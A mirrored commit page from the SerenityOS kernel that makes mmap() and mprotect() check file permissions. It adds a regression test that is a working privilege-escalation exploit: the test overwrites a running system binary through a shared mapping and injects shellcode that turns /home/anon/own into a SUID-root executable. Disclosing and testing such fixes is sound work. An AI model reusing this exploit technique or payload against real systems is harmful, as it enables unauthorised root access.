mirror of
https://github.com/LadybirdBrowser/ladybird.git
synced 2024-11-22 07:30:19 +00:00
Kernel: Validate PROT_READ and PROT_WRITE against underlying file
This patch fixes some issues with the mmap() and mprotect() syscalls, neither of whom were checking the permission bits of the underlying files when mapping an inode MAP_SHARED. This made it possible to subvert execution of any running program by simply memory-mapping its executable and replacing some of the code. Test: Kernel/mmap-write-into-running-programs-executable-file.cpp
This commit is contained in:
parent
faf32153f6
commit
fe9680f0a4
Notes:
sideshowbarker
2024-07-19 10:16:55 +09:00
Author: https://github.com/awesomekling Commit: https://github.com/SerenityOS/serenity/commit/fe9680f0a49
2 changed files with 96 additions and 0 deletions
|
@ -248,6 +248,16 @@ static bool validate_mmap_prot(int prot, bool map_stack)
|
|||
return true;
|
||||
}
|
||||
|
||||
static bool validate_inode_mmap_prot(const Process& process, int prot, const Inode& inode)
|
||||
{
|
||||
auto metadata = inode.metadata();
|
||||
if ((prot & PROT_WRITE) && !metadata.may_write(process))
|
||||
return false;
|
||||
if ((prot & PROT_READ) && !metadata.may_read(process))
|
||||
return false;
|
||||
return true;
|
||||
}
|
||||
|
||||
// Carve out a virtual address range from a region and return the two regions on either side
|
||||
Vector<Region*, 2> Process::split_region_around_range(const Region& source_region, const Range& desired_range)
|
||||
{
|
||||
|
@ -329,6 +339,14 @@ void* Process::sys$mmap(const Syscall::SC_mmap_params* user_params)
|
|||
auto description = file_description(fd);
|
||||
if (!description)
|
||||
return (void*)-EBADF;
|
||||
if ((prot & PROT_READ) && !description->is_readable())
|
||||
return (void*)-EACCES;
|
||||
if ((prot & PROT_WRITE) && !description->is_writable())
|
||||
return (void*)-EACCES;
|
||||
if (description->inode()) {
|
||||
if (!validate_inode_mmap_prot(*this, prot, *description->inode()))
|
||||
return (void*)-EACCES;
|
||||
}
|
||||
auto region_or_error = description->mmap(*this, VirtualAddress((u32)addr), static_cast<size_t>(offset), size, prot);
|
||||
if (region_or_error.is_error()) {
|
||||
// Fail if MAP_FIXED or address is 0, retry otherwise
|
||||
|
@ -400,6 +418,10 @@ int Process::sys$mprotect(void* addr, size_t size, int prot)
|
|||
return -EINVAL;
|
||||
if (whole_region->access() == prot_to_region_access_flags(prot))
|
||||
return 0;
|
||||
if (whole_region->vmobject().is_inode()
|
||||
&& !validate_inode_mmap_prot(*this, prot, static_cast<const InodeVMObject&>(whole_region->vmobject()).inode())) {
|
||||
return -EACCES;
|
||||
}
|
||||
whole_region->set_readable(prot & PROT_READ);
|
||||
whole_region->set_writable(prot & PROT_WRITE);
|
||||
whole_region->set_executable(prot & PROT_EXEC);
|
||||
|
@ -415,6 +437,10 @@ int Process::sys$mprotect(void* addr, size_t size, int prot)
|
|||
return -EINVAL;
|
||||
if (old_region->access() == prot_to_region_access_flags(prot))
|
||||
return 0;
|
||||
if (old_region->vmobject().is_inode()
|
||||
&& !validate_inode_mmap_prot(*this, prot, static_cast<const InodeVMObject&>(old_region->vmobject()).inode())) {
|
||||
return -EACCES;
|
||||
}
|
||||
|
||||
// This vector is the region(s) adjacent to our range.
|
||||
// We need to allocate a new region for the range we wanted to change permission bits on.
|
||||
|
|
|
@ -0,0 +1,70 @@
|
|||
#include <AK/Types.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
int fd = open("/bin/SystemServer", O_RDONLY);
|
||||
if (fd < 0) {
|
||||
perror("open");
|
||||
return 1;
|
||||
}
|
||||
u8* ptr = (u8*)mmap(nullptr, 16384, PROT_READ, MAP_FILE | MAP_SHARED, fd, 0);
|
||||
if (ptr == MAP_FAILED) {
|
||||
perror("mmap");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (mprotect(ptr, 16384, PROT_READ | PROT_WRITE) < 0) {
|
||||
perror("mprotect");
|
||||
return 1;
|
||||
}
|
||||
|
||||
/*
|
||||
*
|
||||
* This payload replaces the start of sigchld_handler in the /bin/SystemServer file.
|
||||
* It does two things:
|
||||
*
|
||||
* chown ("/home/anon/own", 0, 0);
|
||||
* chmod ("/home/anon/own", 04755);
|
||||
*
|
||||
* In other words, it turns "/home/anon/own" into a SUID-root executable! :^)
|
||||
*
|
||||
*/
|
||||
|
||||
#if 0
|
||||
[bits 32]
|
||||
[org 0x0804b111]
|
||||
jmp $+17
|
||||
path:
|
||||
db "/home/anon/own", 0
|
||||
mov eax, 79
|
||||
mov edx, path
|
||||
mov ecx, 0
|
||||
mov ebx, 0
|
||||
int 0x82
|
||||
mov eax, 67
|
||||
mov edx, path
|
||||
mov ecx, 15
|
||||
mov ebx, 2541
|
||||
int 0x82
|
||||
ret
|
||||
#endif
|
||||
|
||||
const u8 payload[] = {
|
||||
0xeb, 0x0f, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x61, 0x6e, 0x6f,
|
||||
0x6e, 0x2f, 0x6f, 0x77, 0x6e, 0x00, 0xb8, 0x4f, 0x00, 0x00, 0x00,
|
||||
0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x00, 0x00, 0x00, 0x00, 0xbb,
|
||||
0x00, 0x00, 0x00, 0x00, 0xcd, 0x82, 0xb8, 0x43, 0x00, 0x00, 0x00,
|
||||
0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x0f, 0x00, 0x00, 0x00, 0xbb,
|
||||
0xed, 0x09, 0x00, 0x00, 0xcd, 0x82, 0xc3
|
||||
};
|
||||
|
||||
memcpy(&ptr[0x3111], payload, sizeof(payload));
|
||||
|
||||
printf("ok\n");
|
||||
return 0;
|
||||
}
|
Loading…
Reference in a new issue